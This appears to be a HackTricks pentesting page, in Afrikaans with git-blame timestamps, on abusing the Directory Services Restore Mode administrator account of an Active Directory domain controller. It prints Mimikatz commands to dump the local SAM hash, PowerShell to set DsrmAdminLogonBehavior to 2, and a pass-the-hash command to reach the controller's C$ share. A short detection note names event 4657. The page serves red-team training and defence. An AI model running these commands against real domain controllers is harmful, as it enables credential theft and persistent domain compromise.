hacktricks/windows-hardening/active-directory-methodology/dsrm-credentials.md

55 lines
4.1 KiB
Markdown
Raw Normal View History

2022-04-28 16:01:33 +00:00
<details>
2024-02-11 02:07:06 +00:00
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
2022-04-28 16:01:33 +00:00
2024-02-11 02:07:06 +00:00
Ander maniere om HackTricks te ondersteun:
2022-04-28 16:01:33 +00:00
2024-02-11 02:07:06 +00:00
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat**, kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling van eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Deel jou hacking-truuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
2022-04-28 16:01:33 +00:00
</details>
2024-02-11 02:07:06 +00:00
# DSRM-referensies
2024-02-11 02:07:06 +00:00
Daar is 'n **plaaslike administrateur**-rekening binne elke **DC**. Deur admin-voorregte op hierdie masjien te hê, kan jy mimikatz gebruik om die **plaaslike Administrateur-hash uit te dump**. Daarna kan jy 'n register wysig om hierdie wagwoord te **aktiveer**, sodat jy vanaf 'n afstand toegang kan verkry tot hierdie plaaslike Administrateur-gebruiker.\
Eerstens moet ons die **hash** van die **plaaslike Administrateur**-gebruiker binne die DC **dump**:
```bash
Invoke-Mimikatz -Command '"token::elevate" "lsadump::sam"'
```
2024-02-11 02:07:06 +00:00
Dan moet ons nagaan of daardie rekening sal werk, en as die register sleutel die waarde "0" het of nie bestaan nie, moet jy dit **stel na "2"**:
```bash
Get-ItemProperty "HKLM:\SYSTEM\CURRENTCONTROLSET\CONTROL\LSA" -name DsrmAdminLogonBehavior #Check if the key exists and get the value
New-ItemProperty "HKLM:\SYSTEM\CURRENTCONTROLSET\CONTROL\LSA" -name DsrmAdminLogonBehavior -value 2 -PropertyType DWORD #Create key with value "2" if it doesn't exist
Set-ItemProperty "HKLM:\SYSTEM\CURRENTCONTROLSET\CONTROL\LSA" -name DsrmAdminLogonBehavior -value 2 #Change value to "2"
```
2024-02-11 02:07:06 +00:00
Daarna kan jy met behulp van 'n PTH die inhoud van C$ lys of selfs 'n skul verkry. Let daarop dat vir die skep van 'n nuwe PowerShell-sessie met daardie hash in die geheue (vir die PTH) **die "domain" wat gebruik word, net die naam van die DC-masjien is:**
```bash
sekurlsa::pth /domain:dc-host-name /user:Administrator /ntlm:b629ad5753f4c441e3af31c97fad8973 /run:powershell.exe
#And in new spawned powershell you now can access via NTLM the content of C$
ls \\dc-host-name\C$
```
2024-02-11 02:07:06 +00:00
Meer inligting hieroor in: [https://adsecurity.org/?p=1714](https://adsecurity.org/?p=1714) en [https://adsecurity.org/?p=1785](https://adsecurity.org/?p=1785)
2024-02-11 02:07:06 +00:00
## Versagting
2024-02-11 02:07:06 +00:00
* Gebeurtenis-ID 4657 - Toets die skep/verandering van `HKLM:\System\CurrentControlSet\Control\Lsa DsrmAdminLogonBehavior`
2022-04-28 16:01:33 +00:00
<details>
2024-02-11 02:07:06 +00:00
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
2022-04-28 16:01:33 +00:00
2024-02-11 02:07:06 +00:00
Ander maniere om HackTricks te ondersteun:
2022-04-28 16:01:33 +00:00
2024-02-11 02:07:06 +00:00
* As jy jou **maatskappy geadverteer wil sien in HackTricks** of **HackTricks in PDF wil aflaai**, kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Deel jou hacktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-repos.
2022-04-28 16:01:33 +00:00
</details>